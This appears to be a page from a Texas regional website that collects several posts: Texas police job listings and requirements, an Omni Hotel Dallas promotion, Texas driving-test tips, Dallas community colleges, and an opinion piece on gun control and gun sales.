You will find there are various jobs available for police work in the state of Texas. Some jobs are also available in University campuses.  The following list will give you an idea of the various departments looking for police officer positions to be filled.  Typically, your work relevance is critical when applying to these jobs.  Make sure you include all of your training and experience in your resume when applying for these positions as it critical to making sure that you’re competitive with the other candidates.

– Arlington Police Department:  If you’re interested in the Arlington area, the Police Department there has a tremendous recruiting department.  Check out http://www.arlingtonpd.org/recruiting.html for more information.

– Beaumont Police Department.

– Burleson Police Dept:  Burleson is a quaint little town just South of Fort Worth.  A very easy commute for those living in the DFW metroplex.  The Burleson leadership announces their jobs at the following site:  http://burlesontx.com/index.aspx?nid=164

Carrollton Police Department:  Carrollton is an easy drive from the DFW metroplex (just off of I35E) and sports a very nice, family community. They are very selective of who they recruit into their police department, but a little persistence goes a very long way.

Cedar Hill Police Department: We really liked their “jobs” site because you can sign up for notifications when jobs are posted on their site.  This means you don’t have to come back and keep checking.

City of Highland Park: The link to the left is where all police jobs are posted.

– City of Houston: Houston Police Department’s Career Page

City of Roanoke: The Roanoke web site does a great job of explaining what the physical requirements are to becoming a police officer.  Here are the highlights: You have to be able to run 1.5 miles in 16 minutes and 28 seconds.  You have to do a 300 meter sprint in 1 minute and 11 seconds.  In addition, you have to do 29 situps in 1 minute, and 25 pushups without a time limit.  You just have to complete the 25 pushups.  If interested click the recruiting area of their site.

City of San Antonio

College State Police Department

Collin College Campus Police

Collin County – Pct 3 Constable Office:  Otherwise known as Plano Police Department; this is an outstanding location to protect and serve.

– Comal County – Pct 4 Constable Office:  In Comal County, finding out where to apply for a police job is a bit of a challenge.  You’ve got to go here: http://comalcounty.iapplicants.com/ to make the application.  Once their, check out their job listings and apply right on line.

– Corpus Christi Police Department

– Dallas County – Pct 8 Constable Office

– Dallas Police Department

– De Soto Police Dept

– Duncanville Police Department

– Fairview Police Department

– Frisco Police Department

– Fort Worth Police Department: Fort Worth also has a very good recruiting department.  You can apply online at:  http://fortworthtexas.gov/hr/PoliceRecruitment/

– Grapevine Police Department

– Highland Village Police Department

– Irving Police Department

– Lubbock County Detention Center

– McKinney Police Department

– Mesquite Police Department

– Mineral Wells Police Department

– North Richland Hills Police Department

– Port Aransas Police Department

– Rockport Police Department

– San Angelo Police Department

– University of Texas at El Paso

Highest paying locations for police in Texas

When considering good police jobs in Texas, you should also look into salaries that are at or above above $50,000 a year unless you are able to handle lower pay. You can find some locations will offer less yearly while other will offer more.  The maximum yearly salary estimate for police officers as well as senior police officers averages out to approximately $71,689; this is based on the following high paying Texas locations as determined by the State Auditor’s Office Law Enforcement Survey of April 2010:

  • Austin – $89,983
  • Fort Worth – $79,851
  • Dallas – $74,837
  • Harris County – $73,366
  • San Antonio – $66,828
  • El Paso – $60,763
  • Houston – 59,192

Dear Park, Texas, considered the birthplace of the friendly state also offers salaries that are above $50,000 a year. Salaries in Deer Park range from $53,040.00 – $58,302.40 starting range.

How to qualify as a police officer in Texas

Texas Police
Texas Police

The following will help you prepare by giving you a general idea of what qualifications are required.  Take time also to research the specific police department you are interested.  You will find that each department will have their own requirements to qualify you as a police officer.  Speaking with the police chief is also a good idea if he or she can find time to fit you into their busy schedules.  It is essential to understand what a police officer is expected to do.  You will need to understand criminal justice.  There are some departments that will require that you at least have two years of college in criminal justice.  In some cases departments may require an Associate’s degree in either law enforcement or criminal justice.

You will find that an associate’s degree will also involve areas of study in state and local governments, understanding how the criminal court system operates, understand crime investigation and learn about law enforcement leadership.  You may also aspire to gain a bachelor’s degree to increase your understanding in law enforcement.  Gaining a bachelor’s degree will require further classes in social sciences, civil law, understanding methods of research when it comes to criminal justice and law enforcement management.  Regardless of your choice of obtaining an associate or bachelor’s degree, it is important for you to understand that even an associate’s degree will help you have a better opportunity at attaining a higher paying job.  Additional training specific to your job as a police officer will come from the peace or police academy that you attend. In the academy you will be trained in police knowledge, proper procedures and techniques.  In order to be permitted into the police academy you must meet additional basic requirements, again each police department may vary but for the most part the following basic information applies:

  • You must be 21 years of age for employment in Texas as a law enforcement officer
  • Be in good physical fit condition
  • Be ready to undergo psychological and personal examinations
  • Pass written exams
  • Undergo criminal background check
  • Be trained on police law enforcement techniques

Fitness Requirements

Police Workout Facility
Police Workout Facility

The police academy training requires that you be physically fit in order to pass tough physical training. As mentioned above you must be in good physical condition in order to be accepted into the police academy. In addition, once you complete the training you will have to be in good health to be qualified as a police officer.  Police officers are required to be physically fit enough to run. Running is something a police officer must do especially when being pursuit on foot. Endurance is an essential requirement that you will be tested on.  Strength is also a fitness requirement that you will be tested for. You will need to be able to do chest pulls and back pulls.  These are conducted in order to measure your strength.  You may consider building strength on your own prior to looking into joining the police academy.  You will have more than one opportunity to pass the test but may be limited to three tries.

Job Outlook For Police Officers in Texas

map of police positions in tx

As baby boomers begin to retire, the outlook for police officers is really good.  While you may not find a job in the exact location you prefer, we recommend you take a job where you can find one, and wait for your preferred location.  There’s high turnover in the police arena, so your location should spring open sooner or later…  While you wait though, you should continue developing your skills through off duty education and specialized courses.  This will make you much more competitive when a job opens up in your location of choice.  Military police who are either completed with their military careers or retired from service will find themselves very competitive in Texas as most precincts love to hire ex-vets.  In addition, jobs along the Texas border are increasing as the US tightens up on border security.  Too many illegal aliens are crossing the Texas border and there has been a strong push to tighten security in an effort to lower the unemployment rate in America.  This fact presents an opportunity for law enforcement officers to secure a high paying job in southern Texas.  You will also find that airport police jobs are in high demand as airport security is increased through the Department of Homeland security.  Airport police are typically compensated equal to or higher than city police.

What To Expect On The Job

Here are some basic things that you may be involved in as police officer during your course of service:

  • Investigations of accidents, criminal activity and complaints brought by citizens
  • Gathering necessary evidence, making proper pursuit and arrest
  • Responsible for interviewing offender that are suspect of a crime(s)
  • Prosecution against organized crime that deals with both corporate and crimes committed by virtual means using a computer, the trafficking of illegal substances as well as dealing with terrorist attacks, fraudulent and counterfeit crimes
  • Being responsible to secure and provide adequate examination or crime scenes as well as accident sites to find evidence to be used in proper analysis
  • Helping to maintain order and providing public safety –  law enforcement is vital to safe neighborhoods
  • Providing vehicle traffic control when needed in congested areas
  • Called upon to attend meeting within your given community to answer questions the public may have
  • Be in an advisory position to help victims and their families who have been victimized by a crime
  • Maintain proper records and prepare reports

Finding the right job that provides adequate pay, being prepared physically, understanding what you are expected to do, and how to qualify can lead you to a successful future in police work.  In addition, having the right attitude to serve a specific community you are interested in and having a desire to protect both citizens and their property will help you to serve a proud police force in the state of Texas.

If you don’t think policing is your cup of tea, then check out our related article on Texas oil field jobs at: http://tex.org/oil-field-jobs-in-texas/.

Why People Stay At The Omni Hotel In Dallas, TX

 The Dallas Omni Hotel

Dallas, TX is one of the prime locations in the United States for tourists or business travelers.  Each year, over 28 million domestic visitors come to Dallas in order to enjoy the many restaurants, shopping centers and cultural of historical attractions.  While the hotel has plenty to offer, Dallas is a true shopper’s paradise as per capita, it has more shopping malls than any other city in the United States.  When it comes to staying the night in one of the many hotels in Dallas, The Omni Hotel Dallas offers everything a tourist or businessman could possible need.

Omni Hotel Dallas Texas

As one of the few hotels near the Dallas Convention Center, it offers an unique location at the center of Dallas.  In the center, there is a wide variety of shopping malls and cultural activities, in addition to the nearby parks which offers excellent opportunity for walks at night. Apart from its prime location, The Omni Hotel Dallas has much to offer.  Spacious rooms in various sizes, ranging from deluxe rooms to presidential or conference suites, there is something to find for each type of visitor.  The hotel offers a total of 1001 guest rooms, 67 luxury suites and three presidential suits. At the hotel, there is a state of the art swimming pool, spa, fitness center and even on-site restaurants located.  In addition, the Omni Hotel Dallas Bar  “The Owners Box” is a must-see for any sports lover and offers the latest in entertainment technology including a 16 foot television screen.

Omni Hotel Bar the owners box

Even private tables are available with sound isolating technology so you can enjoy a private game.  When it comes to hotels in Dallas, the level of comfort and hospitality you receive at the Omni Hotel Dallas is unprecedented.  In 2012, the hotel was rated as the highest in hotel guest satisfaction among upper-upscale hotel chains by J. D. Power and Associates.  Apart from being a outstanding hotel for businessmen or tourists, the Omni Hotel Dallas always tries to offer something extra.  In winter 2012, the hotel opened its door to homeless women, men and children and allowing them to stay for Christmas.  This level of hospitality is characteristic to the hotel and the city Dallas, making it one of the most favored locations for travelers to visit.  If you’re looking for a truly unique, care-free stay in Dallas, or are a visitor to the convention center, the Omni Hotel Dallas offers everything you could possible need.

Below is a video showing the hotels beautiful light show.

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How To Pass The Texas Driving Test

To learn how to pass the Texas driving test with a successful score it is important that you take the time to study and prepare yourself adequately.  Much of what the test consist of is knowledge.  You will need to know the rules of driving and road signs for the written part of the test.  You should also consider practicing your driving in order to be successful on the road test.

Preparing for Your Drivers Test

One way you can learn how to pass the Texas driving test is by preparing yourself through a Texas online driving school. Texas Department of Public Safety requires all adults ages 18 to 24 who have never had a previous driver’s license to attend an approved 

 

Texas Education Agency (TEA) course

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Adults over 25 may take the course on a voluntary basis but it is extremely recommended to take the course if you want to know how to pass the Texas driving test with a successful score.  The course is conducted to be at your own pace and will better prepare you on:

  • Driving laws in Texas
  • Car safety
  • Driving in difficult conditions
  • Basics on a motor vehicle
  • How to avoid accidents
  • Rules of the road
  • Handling a fast speed environment

Preparing Your Vehicle

student driver car

The vehicle that you will use to pass the Texas driving test should be properly registered.  You may also be required to produce proof of the registration inspection sticker and provide insurance information.  You will also be asked to turn the right and left signal and to push the break to see if the break lights go on.  You will also be asked to test the horn.  It is essential that you make sure to have all the valid vehicle information and be sure you check the break and signal lights as well as the horn prior to taking the vehicle to be used for the road test.

Defensive Driving

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Not only is it important to learn how to pass the Texas driving test it is essential that you enhance your training with Texas defensive driving online. You at least need to be aware that the Texas Department of Public Safety (DPS) recognized defensive driving courses that in the long run can be rewarding for you.

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An advantage of taking a defensive driving class is that it will give you the needed preparation to handle sudden changes on the road.  Driver education instructors typically train on the following areas:

  • Be trained to become a more aware as driver
  • Learn to make quick decisions
  • Discover how you can avoid a possible accident
  • Have the opportunity to have a traffic ticket dismissed
  • Be able to lower your insurance cost by having points removed from your driving record
  • Get an added discount if you are a good driver from auto insurance

When learning how to pass the Texas driving test you can better prepare yourself with proper training to be a responsible driver, learn techniques to avoid accidents and increase your opportunity for lower insurance cost.  There are a number of “TEA” approved online training courses available.  Many are available right here at Tex.Org.

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Helpful tips from the leaders in online drivers ed and drivers safety courses.

Practice your driving and remember all the road rules and road signs. Pass your behind the wheel test the first time!

Where To Attend Community College In Dallas TX

For those located in the Dallas, TX area you will find you have a variety of Community College choices.  Each Community college offers classes that may suit your educational needs.  The following will identify community colleges in and near the Dallas, TX area as well as major programs they have to offer.

Eastfield College

Eastfield College In Dallas Texas

Campus location for Eastfield College is in Mesquite, Texas.  The address is 3737 Motley Drive and you may contact by phone at 972-860-7100.

Eastfield College offers the following degrees:

•Arts, Language & Literature

•Science, Physical Education & Athletics

•Career Technologies

•Social Science, Human Services & Business

•College Readiness and Mathematics

•Continuing Education

Cedar Valley College

Cedar Valley College In Dallas Texas

Located in the Southern Dallas area in the city of Lancaster, Cedar Valley College is a facility of over 300 acres.  Their address is 3030 N Dallas Ave and may be contacted by phone by dialing 972-860-8201.  They provide studies in the following educational fields:

•Anthropology

•Biology

•Chemistry

•English as a Second Language (ESOL)

•Drama

•History

•Humanities

•Mathematics

•Music Commercial Music and Recording Technology

•Physical Education

•Sociology

•Teacher Preparation Program

Cedar Valley College also offers technical classes in the following:

•Air Conditioning

•Automotive Technology

•Building Performance Technology

•Business Administration

•Computer Information Technology

•Computer Graphics

•Management

•Marketing Careers

•Music Commercial Music and Recording Technology

•Real Estate

•Veterinary Technology

•Criminal Justice Program

•Engine Technology

•Logistics Technology

•Management

El Centro College

El Centro College In Dallas Texas

You will find that El Centro College has three distinct locations each with different names to distinguish each campus.  There is the West Dallas Campus located at 3330 N. Hampton Rd in Dallas, TX (972-391-1400), the El Centro located at 801 Main Street in Dallas, TX (214-860-2000) and the Bill J. Priest Campus on 1402 Corinth Street in Dallas (214-860-5900).  They offer education in the following areas:

•Arts and Sciences

•Business and Public Service

•Communications and Math

•Continuing Workforce Education

•Health and Legal Careers

•Information Technology

 

Mountain View College

Mountain View College-Dallas
Mountain View College-Dallas

Located in Dallas, TX on 4849 W. Illinois Avenue (214-860-8680), Mountain View College offers the following education:

•Accounting

•Advanced Manufacturing/Mechatronics Technology

•Associate Degree Nursing

•Aviation Technology

•Business Administration

•Computer Aided Design and Drafting

•Criminal Justice

•Electronics Technology

•Management

•Welding Technology

North Lake College

North Lake College In Dallas, TX

With four different campus locations, North Lake College offers the following educational courses:

•Arts, Business, Sports Science and Technology

•Construction Technology

•Liberal Arts

•Math & Science

•Nursing

North Lake College locations includes two in Irving, TX the Central Campus on 5001 N MacArthur Blvd (972-273-3000) and the South Campus on 1081 W Shady Grove Rd (214-891-1342).  The North Campus is located on 101 S Royal Lane in Coppell, TX (972-860-4400). The fourth is the West Campus located on 1491 Royal Lane W in DFW Airport, TX (972-860-7873).

Brookhaven College

Brookhave College is located on 3939 Valley View Ln in Farmers Branch, TX (972-860-4700) and offer the following major programs:

•Accounting

•Automotive Technology Accounting

•Business Administration

•Business Office Systems and Support

•Child Development

•Computer Information Technology

•Electronic Commerce

•Emergency Medical Services

•Geographic Information Systems Technology

•Management

•Marketing Careers

•Medical Front Office

•Radiologic Sciences

•Visual Communications

•Web Design and Development Certificate

•Web Design and Graphics Certificate

Richland College

Another community college located in Dallas, TX is Richland college offering:

•Business

•Computer Science

•Mass Communications–Broadcast Journalism

•Music

Richland College campus location is 12800 Abrams RD (972-238-6100).

As you can see, you have a variety of choices of where you can attend community college in or near the Dallas, TX area.  Some community colleges offer additional services such as child care while you attend class.  Be sure to evaluate which community college will best suit your educational and personal needs.

Below is the student welcome video for Richland College.

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Unintended Consequences Of The Obama War On Weapons

 

Before Christmas, I was in the market for a Colt AR-15 as I carried this exact weapon in the military… so it was more of a memento for me.  At the time, these guns were available and priced at approximately $1100.  Now that the ban on assault weapons is near certainty, prices have doubled and the assault weapons have now all been sold.  I’m an American and will follow the laws laid down by my fellow citizens, but I wonder if Congress intended to put every gun on every shelf in the hands of millions of people at a record pace.  Well, that’s what happened…  Not only are all the guns gone, but all the ammunition is too.

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There are now millions of more guns in circulation across America than before the gun debate started.  In fact, millions of transactions occurred in December and gun makers can’t keep up with demand.  Listen, I’m with the NRA on the issue of gun control.  Guns don’t kill people.  Sick, twisted minds kill people.  There are very few accidental fatalities that result from carrying guns and massacre shootings are the result of sick people, not their access to guns.  Let’s look at what we can do as a nation to cure mental illness before banning or limiting access to guns in America.

obama gun control 2At the end of the day, while our President was campaigning against them, gun dealers across the country were recording record sales, not seen since the last time a ban on guns was attempted.

obama gun control Never before had President Barack Obama put the moral force and political muscle of his presidency behind an issue quite this big — and lost quite this badly.

The president, shaken to the core by the massacre of 26 innocents at Sandy Hook Elementary School, broke his own informal “Obama Rule” — of never leaning into an issue without a clear path to victory — first by pushing for a massive gun control package no one expected to pass, and then sticking through it even as he retrenched to a relatively modest bipartisan bill mandating national background checks on gun purchases.